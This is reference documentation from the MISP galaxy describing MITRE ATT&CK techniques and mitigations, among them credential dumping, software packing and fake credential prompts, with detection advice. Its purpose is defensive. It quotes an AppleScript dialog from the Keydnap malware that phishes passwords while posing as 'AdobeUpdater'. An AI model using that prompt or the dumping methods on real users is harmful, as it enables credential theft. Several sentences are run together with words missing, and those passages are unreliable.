Data Sources: Process Monitoring, File monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Source"*

Table 1838. Table References

Links
https://attack.mitre.org/wiki/Technique/T1153

Software Packing

Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.

Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available,[[Citation: Wikipedia Exe Compression]] but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.

Detection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Binary file metadata

The tag is: *misp-galaxy:mitre-attack-pattern="Software Packing"*

Table 1839. Table References

Links
https://attack.mitre.org/wiki/Technique/T1045
http://en.wikipedia.org/wiki/Executable%20compression

Application Window Discovery

Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.

In Mac, this can be done natively with a small AppleScript script.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X

Data Sources: API monitoring, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Application Window Discovery"*

Table 1840. Table References

Links
https://attack.mitre.org/wiki/Technique/T1010

Hypervisor

A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware.Rootkit functionality to hide its existence from the guest operating system.[[Citation: Myers 2007]] A malicious hypervisor of this nature could be used to persist on systems through interruption.

Detection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present.[[Citation: virtualization.info 2006]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: System calls

The tag is: *misp-galaxy:mitre-attack-pattern="Hypervisor"*

Table 1841. Table References

Links
https://attack.mitre.org/wiki/Technique/T1062
https://en.wikipedia.org/wiki/Hypervisor
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf
http://en.wikipedia.org/wiki/Xen
http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html

Credential Dumping

Credential dumping is the process of obtaining account login and password information from the operating system and software. Credentials can be used to perform Windows Credential Editor, Mimikatz, and gsecdump. These tools are in use by both professional security testers and adversaries.

Plaintext passwords can be obtained using tools such as Mimikatz to extract passwords stored by the Local Security Authority (LSA). If smart cards are used to authenticate to a domain using a personal identification number (PIN), then that PIN is also cached as a result and may be dumped.Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective DLL Injection to reduce potential indicators of malicious activity.

NTLM hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well.

On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.

Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,[[Citation: Powersploit]] which may require additional logging features to be configured in the operating system to collect necessary information for analysis.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: API monitoring, Process monitoring, PowerShell logs, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Credential Dumping"*

Table 1842. Table References

Links
https://attack.mitre.org/wiki/Technique/T1003
https://github.com/gentilkiwi/mimikatz/wiki/module--sekurlsa[https://github.com/gentilkiwi/mimikatz/wiki/module- -sekurlsa]
https://github.com/mattifestation/PowerSploit

Web Service

Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.

Popular websites and social media can act as a mechanism for command and control and give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Detection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture

The tag is: *misp-galaxy:mitre-attack-pattern="Web Service"*

Table 1843. Table References

Links
https://attack.mitre.org/wiki/Technique/T1102
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Query Registry

Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.

The Registry contains a significant amount of information about the operating system, configuration, software, and security.Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Windows Registry, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Query Registry"*

Table 1844. Table References

Links
https://attack.mitre.org/wiki/Technique/T1012
https://en.wikipedia.org/wiki/Windows%20Registry

Third-party Software

Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.

Adversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.

Detection: Detection methods will vary depending on the type of third-party software or system and how it is typically used.

The same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems.

Often these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.

Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: File monitoring, Third-party application logs, Windows Registry, Process monitoring, Process use of network, Binary file metadata

The tag is: *misp-galaxy:mitre-attack-pattern="Third-party Software"*

Table 1845. Table References

Links
https://attack.mitre.org/wiki/Technique/T1072

Remote File Copy

Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.

Adversaries may also copy files laterally between internal victim systems to support Windows Admin Shares or Remote Desktop Protocol.

Detection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.

Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Remote File Copy"*

Table 1846. Table References

Links
https://attack.mitre.org/wiki/Technique/T1105
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

File System Logical Offsets

Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools.PowerShell, additional logging of PowerShell scripts is recommended.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: API monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="File System Logical Offsets"*

Table 1847. Table References

Links
https://attack.mitre.org/wiki/Technique/T1006
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin

Shared Webroot

Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.

This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.

Detection: Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: File monitoring, Process monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Shared Webroot"*

Table 1848. Table References

Links
https://attack.mitre.org/wiki/Technique/T1051

Indicator Blocking

An adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.

Detection: Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.

Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Sensor health and status, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Blocking"*

Table 1849. Table References

Links
https://attack.mitre.org/wiki/Technique/T1054

Input Prompt

When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:

<code>set thePassword to the text returned of (display dialog "AdobeUpdater needs permission to check for updates. Please authenticate." default answer "")</code> [[Citation: OSX Keydnap malware]]

Adversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.[[Citation: OSX Malware Exploits MacKeeper]]

Detection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.

Platforms: MacOS, OS X

Data Sources: User interface, Process Monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Input Prompt"*

Table 1850. Table References

Links
https://attack.mitre.org/wiki/Technique/T1141
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html

Exfiltration Over Physical Medium

In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.

Detection: Monitor file access on removable media. Detect processes that execute when removable media are mounted.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: Data loss prevention, File monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium"*

Table 1851. Table References

Links
https://attack.mitre.org/wiki/Technique/T1052

System Time Discovery

The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.Net on Windows by performing <code>net time \\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>.Scheduled Task[[Citation: RSA EU12 They're Inside]], or to discover locality information based on time zone to assist in victim targeting.

Detection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Process monitoring, Process command-line parameters, API monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="System Time Discovery"*

Table 1852. Table References

Links
https://attack.mitre.org/wiki/Technique/T1124
https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings
https://msdn.microsoft.com/ms724961.aspx
https://www.rsaconference.com/writable/presentations/file%20upload/ht-209%20rivner%20schwartz.pdf

Execution through Module Load

The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API.[[Citation: Wikipedia Windows Library Files]]

The module loader can load DLLs:

*via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;

*via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);

*via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;

*via <code><file name="filename.extension" loadFrom="fully-qualified or relative pathname"></code> in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.

Adversaries can use this functionality as a way to execute arbitrary code on a system.

Detection: Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to <code>%SystemRoot%</code> and <code>%ProgramFiles%</code> directories will protect against module loads from unsafe paths.

Correlation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Process Monitoring, API monitoring, File monitoring, DLL monitoring

Contributors: Stefan Kanthak

The tag is: *misp-galaxy:mitre-attack-pattern="Execution through Module Load"*

Table 1853. Table References

Links
https://attack.mitre.org/wiki/Technique/T1129
https://en.wikipedia.org/wiki/Microsoft%20Windows%20library%20files

Install Root Certificate

Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.[[Citation: Wikipedia Root Certificate]] Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.[[Citation: Operation Emmental]]

Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications.[[Citation: Kaspersky Superfish]]

Detection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10

Data Sources: SSL/TLS inspection, Digital Certificate Logs

Contributors: Itzik Kotler, SafeBreach

The tag is: *misp-galaxy:mitre-attack-pattern="Install Root Certificate"*

Table 1854. Table References

Links
https://attack.mitre.org/wiki/Technique/T1130
https://en.wikipedia.org/wiki/Root%20certificate
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf
https://usblog.kaspersky.com/superfish-adware-preinstalled-on-lenovo-laptops/5161/

Data Transfer Size Limits

An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits"*

Table 1855. Table References

Links
https://attack.mitre.org/wiki/Technique/T1030
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Course of Action

ATT&CK Mitigation.

Course of Action is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Login Item Mitigation

Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically[[CiteRef::Re-Open windows on Mac]].

The tag is: *misp-galaxy:mitre-course-of-action="Login Item Mitigation"*

Component Object Model Hijacking Mitigation

Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.

Instead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Component Object Model Hijacking Mitigation"*

Exfiltration Over Command and Control Channel Mitigation

Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Exfiltration Over Command and Control Channel Mitigation"*

.bash_profile and .bashrc Mitigation

Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.

The tag is: *misp-galaxy:mitre-course-of-action=".bash_profile and .bashrc Mitigation"*

DLL Injection Mitigation

Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

Identify or block potentially malicious software that may contain DLL injection functionality by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="DLL Injection Mitigation"*

Bypass User Account Control Mitigation

Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [[Technique/T1038|DLL Search Order Hijacking]].

Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate.[[CiteRef::Github UACMe]]

The tag is: *misp-galaxy:mitre-course-of-action="Bypass User Account Control Mitigation"*

Command-Line Interface Mitigation

Audit and/or block command-line interpreters by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Command-Line Interface Mitigation"*

DLL Search Order Hijacking Mitigation

Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses.

Identify and block potentially malicious software that may be executed through search order hijacking by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown DLLs.

The tag is: *misp-galaxy:mitre-course-of-action="DLL Search Order Hijacking Mitigation"*

Uncommonly Used Port Mitigation

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Uncommonly Used Port Mitigation"*

Regsvcs/Regasm Mitigation

Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuess by adversaries.

The tag is: *misp-galaxy:mitre-course-of-action="Regsvcs/Regasm Mitigation"*

Application Deployment Software Mitigation

Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [[Technique/T1068|Exploitation of Vulnerability]].

If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

The tag is: *misp-galaxy:mitre-course-of-action="Application Deployment Software Mitigation"*

Commonly Used Port Mitigation

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Commonly Used Port Mitigation"*

Windows Management Instrumentation Mitigation

Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts.[[CiteRef::FireEye WMI 2015]]

The tag is: *misp-galaxy:mitre-course-of-action="Windows Management Instrumentation Mitigation"*

Path Interception Mitigation

Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them[[CiteRef::Microsoft CreateProcess]]. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate[[CiteRef::MSDN DLL Security]]. Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.

Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations[[CiteRef::Kanthak Sentinel]].

Require that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:</code> and system directories, such as <code>C:\Windows\</code>, to reduce places where malicious files could be placed for execution.

Identify and block potentially malicious software that may be executed through the path interception by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies,[[CiteRef::Corio 2008]] that are capable of auditing and/or blocking unknown executables.

The tag is: *misp-galaxy:mitre-course-of-action="Path Interception Mitigation"*

Graphical User Interface Mitigation

Prevent adversaries from gaining access to credentials through [[Credential Access]] that can be used to log into remote desktop sessions on systems.

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] and Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Graphical User Interface Mitigation"*

NTFS Extended Attributes Mitigation

It may be difficult or inadvisable to block access to EA. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="NTFS Extended Attributes Mitigation"*

Indicator Removal from Tools Mitigation

Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.

Identify and block potentially malicious software that may be used by an adversary by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands

JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Indicator Removal from Tools Mitigation"*

Clipboard Data Mitigation

Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Clipboard Data Mitigation"*

Registry Run Keys / Start Folder Mitigation

Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Registry Run Keys / Start Folder Mitigation"*

Multi-Stage Channels Mitigation

Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel.[[CiteRef::University of Birmingham C2]]

